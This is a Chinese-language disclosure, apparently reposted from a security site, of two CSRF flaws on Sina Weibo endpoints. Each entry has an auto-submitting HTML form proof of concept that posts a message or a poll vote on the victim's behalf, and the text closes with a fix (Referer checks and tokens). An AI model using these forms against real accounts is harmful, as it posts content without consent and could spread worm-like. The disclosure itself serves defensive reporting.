新浪微博某处CSRF漏洞，可能导致蠕虫蔓延，在未经用户同意的情况下发布微博 详细说明：在接受POST和GET的信息的时候，未对POST来路(Referer)进行验证，同时也没有在POST的信息中加token验证信息的正确性，导致漏洞产生。 漏洞证明：漏洞地址： http://all.vic.sina.com.cn/tsingtaoeuro/api/send.php
<html> <body> <form id="imlonghao" name="imlonghao" action=" http://all.vic.sina.com.cn/tsingtaoeuro/api/send.php " method="post"> <input type="text" name="content" value="XX" /> <input type="submit" value="submit" /> </form> <script> document.imlonghao.submit(); </script> </body> </html>
接口返回信息
效果
新浪微博某处CSRF漏洞，可能导致蠕虫蔓延，在未经用户同意的情况下发布微博 详细说明：在接受POST和GET的信息的时候，未对POST来路(Referer)进行验证，同时也没有在POST的信息中加token验证信息的正确性，导致漏洞产生。 漏洞证明：漏洞地址： http://vote.weibo.com/wbclient/ref
<html> <body> <form id="imlonghao" name="imlonghao" action=" http://vote.weibo.com/wbclient/ref " method="post"> <input type="text" name="poll_id" value="1742981" /> <input type="text" name="content" value="XXXXXXXXXXX" /> <input type="text" name="is_first" value="0" /> <input type="text" name="_t" value="0" /> <input type="submit" value="submit" /> </form> <script> document.imlonghao.submit(); </script> </body> </ html >
接口返回信息
效果
修复方案：检查POST来路Referer 在POST的信息中加token
作者： imlonghao
查看更多关于新浪微博两处CSRF漏洞 - 网站安全 - 自学php的详细内容...